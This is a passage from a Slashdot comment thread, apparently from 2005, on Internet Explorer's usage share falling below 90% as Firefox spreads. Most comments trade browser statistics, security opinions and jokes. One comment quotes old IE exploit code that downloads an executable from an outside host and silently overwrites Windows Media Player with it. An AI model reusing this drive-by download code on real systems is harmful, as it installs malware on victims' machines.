      Somebody else can comment on the activex component in IE, and IE's tight integration with explorer and WMP.

      --
      http://www.livejournal.com/users/metricmusic
  88. For those who HAVE to use IE... by inkdesign · · Score: 3, Interesting
    I'm forced at work, and now use the Maxthon browser which is based on IE, but has features like tabbed browsing, mouse gestures, RSS and more. It's free, btw.

    http://www.maxthon.com/

    Really makes the switch from browsing at home to work alot smoother, even if it isn't a perfect solution. What it really makes me think though - if these guys can get tabbed browsing and whatnot into the current IE, why is MS not doing the same thing to slow lost market share to more usable/secure browsers???

    1. Re:For those who HAVE to use IE... by bonzooznob · · Score: 1

      Uhm Do a Google for "Portable Firefox"... don't wast e time on maxthon, IE2, or any of those, multi-tab swiss cheese security browsers, when you can run Firefox, T-bird, etc. straight from your USB key! (you do have one, right?)

      --
      Bonzo
    2. Re:For those who HAVE to use IE... by Anonymous Coward · · Score: 0

      Cute suggestion, but I specifically have to work with a web-based app which is not coded to spec, and thus is not usable in Firefox. Kinda why I put the "HAVE" part in all caps, like, when you HAVE to use IE. ;0]

    3. Re:For those who HAVE to use IE... by Windowser · · Score: 1
      why is MS not doing the same thing to slow lost market share to more usable/secure browsers???

      Maybe because IE would still be the most insecure browser
      --
      Avoid the MS tax, always buy I.B.M. PC's (I Built-it Myself)
  89. Re:Well it was great while it lasted! by SolidGround · · Score: 1

    I gave FireFox a try for a while, found that it didn't really appeal to me all that much and switched back to IE.
    Security concerns have never been an issue for me as far as IE is concerned, nor would I be concerned about flaws in FireFox for that matter.

    I've been running as a LU ever since Windows 2000 and I've yet to be plagued by either spyware, trojans, email viruses or anything else malicious.
    The only inconvenience that ever crops up is because of vendors who fail to realize their app doesn't need full admin privileges to run and even then, getting it to run as Admin under an interactive LU account is only one extra additional click.

    If you were plagued with spyware and viruses while running IE, you're no safer under FireFox or any browser because your basic methodology is flawed.
    An LU account, adjusted zone settings and properly set system policies eliminate pretty much anything that IE (or any other browser for that matter) suffers from except phishing and there common sense is the only thing that will keep you safe anyway.
    If you are worried about the security impact of a certain site, run your browser in a further restricted context and it won't even have write access to anything what so ever.

    If you're a casual computer user then FireFox will keep you safer than IE, at least right now. If you have any bit of technical expertise or interest pertaining to Windows and you still get spyware and virus infections from using IE, you only have yourself to blame.

    Blaming your lack of knowledge or unwillingness to keep your computer secure on a piece of software is not only childish, it's reckless. It should be a basic assumption that no matter which program you use, at some point, some flaw is going to appear and your computer will be at risk of running some malicious piece of software or code. The only solution is to make sure the harm it can do is severely limited which the above accomplishes rather well if my personal experience is any indication. Then, if it turns out the program you're using is 100% secure, all the better; if it turns out to have an exploit, you can sit back and watch the rest hype and scream and try to blame anyone or anything but themselves.

  90. Shoestring by comparison by Urusai · · Score: 0

    Microsoft could buy the government off to nationalize Mozilla and reprivatize it under Microsoft auspices. Think of it as eminent domain for intellectual property. However, Bill's too busy bribing the Chinese and Indian governments to care about the dying US market.

  91. For the first time? by Jedi_Knyghte · · Score: 1
    Internet Explorer has slipped below 90% usage share for the first time.

    Since it started out with a market share of 0%, this obviously cannot be the case (nor does the original article say that it is). This might be the first time it's slipped below 90% since Netscape went more-or-less under.

  92. Re:83% use firefox at Networkmirror by winkydink · · Score: 1

    Suffice to say it's a subset of Slashdot readers who get to popular articles fairly quickly.

    --

    "I'd rather be a lightning rod than a seismometer." -Ken Kesey

  93. Re:83% use firefox at Networkmirror by winkydink · · Score: 2, Informative

    Of that 83%, 64.6% contain the word firefox.

    --

    "I'd rather be a lightning rod than a seismometer." -Ken Kesey

  94. dup... by imess · · Score: 0

    of what i saw on slashdot last year, "IE's share below 90%..." yeah, statistics...

  95. W3Schools has different stats by Anonymous Coward · · Score: 0

    Who to believe? W3Schools indicates 25% Firefox usage http://www.w3schools.com/browsers/browsers_stats.a sp

  96. Déjà vu by Robin+Lionheart · · Score: 1
    I remember reading similar stories last November.

    The proportion of surfers using Microsoft's Internet Explorer (IE) has dropped to below 90%, say web analysts.

    Net traffic monitor, OneStat.com, has reported that the open-source browser Firefox 1.0, released on 9 November, seems to be drawing users away from IE.

    BBC News, "New browser wins over net surfers", 22 November 2004

  97. Netcraft confirms... by at_slashdot · · Score: 1

    Netcraft confirms: "IE is dying"

    Can't believe no one jumped on this one, what happens? No more immature jokes on slasdot?

    --
    "It is our choices, Harry, that show what we truly are, far more than our abilities." -- Prof. Dumbledore
  98. CNN months late with story by Robin+Lionheart · · Score: 1

    RedmondMag covered WebSideStory's stats catching up with OneStat's two months ago:

    Two Web analytics companies that track usage of Web browsers now agree that Microsoft's Internet Explorer usage share is below 90 percent due to competition from the open-source Firefox browser.

    RedmondMag, IE Usage Falls Below 90 Percent in Both Major Surveys, 2 March 2005

  99. What Whaaat? by Mr.+Blaughw · · Score: 1

    You mean, you don't remember pulling your first Mac Plus out of the box and using your bundled copy of Microsoft Internet Explorer immediately after setting it up? Looks like someone hasn't been taking their ginko biloba :P

  100. Firefox patents? by Anonymous Coward · · Score: 0

    I do hope that Firefox "tab browsing" - and other features have been patented and M$ can use them in IE only by paying licence fees.

  101. Re:Well it was great while it lasted! by Anonymous Coward · · Score: 0

    Anyone who thinks that using Firefox makes you safe, respond to this...

  102. If I did have a tumor, I'd name it Marla. by Anonymous Coward · · Score: 0

    Winshit? It's idiots like you that gives the OSS community a bad name.

    I thought it was readily apparent, but for those of you who took the short bus in today, but descriptions like "Winshit" is giving Microsoft a bad name.

    As for giving the OSS community a bad name, I hearby nominate, the "Our Shit Smells Community"

  103. Think like a Jedi by Anonymous Coward · · Score: 0

    This is not the Web Browser you are looking for

  104. Re:83% use firefox at Networkmirror by Anonymous Coward · · Score: 0

    Impressive to note that, despite all the hype and vastly inflated claims, neither Safari nor KHTML-based browsers even register.

  105. Not only fewer websites, less MS web-bullying by MolBiolDoc · · Score: 1

    If you think about FIrefox, it is a consumer-driven entity...driven by the features that we users actually want in a browser. If you don't like it, write a plug-in or get involved in development. If you don't, so be it. MS has had little historical reason to implement features that consumers want if their commercial users buying web software packages from them side lobbied for them. Popups could have gone away a long time before they did in the IE release cycles if MS wasn't working both sides of the fence or was concerned more about the user experience. Wonder why there are no IE plug-ins (and won't be until the market forces it)? Go Firefox! At least it is keeping the game interesting.

  106. interesting German stats- 23% for FF by danharan · · Score: 1

    compared to 69% there for IE.

    With IBM officially supporting FF for internal use, (and I imagine quite a few German companies must be doing the same), I wonder what the implications are for developers. Will we soon be able to assume a standards-compliant browser? Could some IT departments start using XUL to its full potential?

    If anyone has any information about why Germans are so far in advance, please do tell.

    --
    Information: "I want to be anthropomorphized"
  107. Exactly by Anonymous Coward · · Score: 0

    The 1.0 branch is ooooolllllddddd. :p

  108. that's a suprise fatty by saleenS281 · · Score: 0, Troll

    gee, *SHOCK*. Fat lazy person too lazy to "futz around with something" or "make the extra effort". I can't imagine why you need weight watchers in the first place????

    1. Re:that's a suprise fatty by doublem · · Score: 1

      I'm torn. I can't decide if that was "Funny" or "Troll".

      Ah fudge it. I'll go raid the fridge.

      --
      "Live Free or Die." Don't like it? Then keep out of the USA
  109. Re:Well it was great while it lasted! by Emetophobe · · Score: 2, Informative

    There's no such thing as 100% "safe", unless you disconnect your network cable and live in a bunker. I think the correct term for Firefox over Internet Explorer would be "safer".

    And yes, I think firefox is safe compared to internet exploiter. I switched originally to Mozilla 1.5 or 1.6 after reading this webpage

    Here's the main chunk of offending exploit code (I'm pretty sure Microsoft finally fixed this after MANY months, since this is an old exploit)

    var x = new ActiveXObject("Microsoft.XMLHTTP");
    x.Open("GET", "http://adversting.co.uk/a.exe",0);
    x.Send();

    var s = new ActiveXObject("ADODB.Stream");
    s.Mode = 3;
    s.Type = 1;
    s.Open();
    s.Write(x.responseBody);

    s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);

    What does it do? Well it downloads a.exe (a nasty trojan), and replaces windows media player with it (no warning or comfirmation dialog, just auto installs it!). Of course, this only works if your logged in with admin priviledges, and I bet 75% or more windows users are "admin".

    I personally use Windows XP as admin for regular daily use, I know this isn't secure, but I have no choice. Running as admin is the only way 50% or more of my applications and games will run at all. I've run as admin for 2 years now on this computer, and have never got a virus or trojan or worm or anything. I use firefox and this helps, with Internet Explorer, running as admin would be a death trap.

    I've tried to create a limited use account on multiple occasions, set it up to look and feel exactly like my current admin account, and try to do anything productive. It's a pain in the ass to put it lightly. I end up deleting the limited use account after 1 hour and going back to admin only.

  110. More Gecko users in Germany by stesch · · Score: 1
    Some data from Germany for you:

    http://www.keks.de/web/heise-browser.html Oliver Reimann has collected the browser stats of a German IT newsticker. From time to time Heise Online posts a browser related article with server statistics. 48.8% Mozilla (39.6% Firefox). http://www.webhits.de/deutsch/index.shtml?webstats .html A web counter used by some German sites. 16.9% Mozilla (10.4% Firefox).
    1. Re:More Gecko users in Germany by Anonymous Coward · · Score: 0

      Well, those are partly IT-specific sites where users are more aware of security issues - a high share of non-IE seems logical there. But now look at this link (in german, midways the article is a statistics table). Spiegel is a general politics and news site - not IT-specific at all, and IE is at 63 percent. And this is from 276 million pages served in april.

    2. Re:More Gecko users in Germany by stesch · · Score: 1
      The SPON numbers are really impressive!

      By the way: Webhits isn't counting mainly IT specific sites. Take a look at http://www.webhits.de/english/index.shtml?top100p. shtml.

  111. That explains it... by VolcomPimp · · Score: 0

    Now I know why we're having so many bullshit articles bitching about how Firefox is losing popularity lately... It's because they saw this coming!

  112. Re:Hmmm.... offtopic by nutshell42 · · Score: 1
    "The only war the French have ever won was their revolutionary war... sad that it means that they also lost that one..."

    Well, using a conservative starting point for the French state they've won the Hundred Years War, the 30yrs War and the wars against Spain in the 17th century, arguably the wars under Louis XIV (they were rather indecisive but France expanded in most of them), the American Independence War, the Crimea War (were they did a lot more than the British which were rather ineffective due to the lack of an enemy fleet to destroy), WW1, officially they were victorious in WW2, and a number of smaller wars I've overlooked.

    --
    Don't think of it as a flame---it's more like an argument that does 3d6 fire damage
  113. M$ Suxors! IE is Cruppy! by bushlick_bill · · Score: 1

    Please to be giving me mud ponts now! Firefux Rulz!

    --
    I liked it better when nerds weren't cool.
  114. Re:Shoestring? Not quite by Citizen+of+Earth · · Score: 1

    If Microsoft had continued to work on IE (adding tabs, anti-popup, more security etc) then I wonder how much market Firefox would have now.

    If the sky was purple, I wonder if that would be most people's favorite color.

    A monopolized market is a stagnant one.

  115. mod up as funny!!!! by Anonymous Coward · · Score: 0

    well I would.. but I cant... :(

  116. Re:Well it was great while it lasted! by metricmusic · · Score: 1

    Being safER is a good enough reason to use it. :)

    --
    http://www.livejournal.com/users/metricmusic
  117. Whats wrong? by eelke_klein · · Score: 1

    ...for, I dunno, *this* page, which still doesn't render right in Firefox.

    I have seen statements like these a lot on Slashdot but I use FireFox and I see nothing wrong with the pages. Maybe its just that I do not know how it should look. However it looks allmost the same as in Konqueror accept for some slight differences in fonts, different form looks and the adds which do not appear in firefox thanks to adblock. Can someone show whats wrong with slashdot pages in firefox?

  118. Hehe by 51mon · · Score: 1

    I wonder if this include favicon hits ;)

    Last 6 hours from webserver.

    Explorer 72.9%
    Firefox 15.5%

    After excluding favicons hits.
    Explorer 78.1%
    Firefox 9.9%

    I really should creates a very small, very cachable favicon, and figure out how to get it served if the website being served doesn't have one, this would save a lot of wasted traffic.

    Either way no idea how a valid test set gets anywhere near 90% for IE, I can't force the figure over 80%, and these stats are from sites with a distinct IE bias.

    Market share doesn't of course affect the fact that IE doesn't run on real operating systems ;)

  119. Still only three quickprefs... by Kjella · · Score: 1

    ...which I assume are 1,2,3

    --
    Live today, because you never know what tomorrow brings
  120. It all depends... by John+Nowak · · Score: 1

    I run a wiki for computer/electronic artists (ruccas.org). A whopping 56% of the visitors are using Firefox. IE accounts for 18%. Safari brings in 16%. Hell, Opera brings in 7%. Pretty incredible really. I should note that only six months ago, Firefox was around 25%.

  121. It is enough to make a difference by sad_ · · Score: 1

    when i was asked earlier this year to create a simple website for somebody, he made some requests that were typical things supported by IE. i told him not to do it, because not everybody is using IE (like myself). His reply was - well, allmost everybody is using it, why should i bother with those few people? upon which i replied - yes, but over 10% of the people on the net use something else. to my surprise his reply was - really? 10% that many, if that is the case we have to take that into account.
    so, as you can see, for companies wanting a site on the net, 10% of the internet not able to view their site correctly is already enough.

    --
    On a long enough timeline, the survival rate for everyone drops to zero.
  122. I have very similar stats by Anonymous Coward · · Score: 0

    My website gets hits for pics of a certain female singer, some social commentary on Star Trek, and erotic fanfiction. Many of my hits come from AOL users, although I also get a lot of Germans for some reason. The erotic fanfic pulls in female readers, who run the gamut of stick-in-the-mud 50-year-olds running IE 5.5 on WinMe to 20-somethings with Macs. The number of Safari hits is high because a number of my friends in fandom own Macs and use Safari all the time. (Personally, I use FF over Safari when I'm on a Mac. I guess I just hate that brushed metal look.)

    Not including hits by bots and crawlers, AwStats compiled the following since May 1, 2005:

    MS Internet Explorer (5041) 70.9 %
    Firefox (1034) 14.5 %
    Netscape (264) 3.7 %
    Unknown (193) 2.7 %
    Mozilla (190) 2.6 %
    Safari (170) 2.3 %
    Opera (130) 1.8 %
    Konqueror (16) 0.2 %
    MultiZilla (15) 0.2 %
    Nokia Browser (PDA/Phone browser) (12) 0.1 %
    Others (39) 0.5 %

    I've always gotten tiny numbers of Konqueror users and that 2% Safari share, but FF use has really increased over the last year!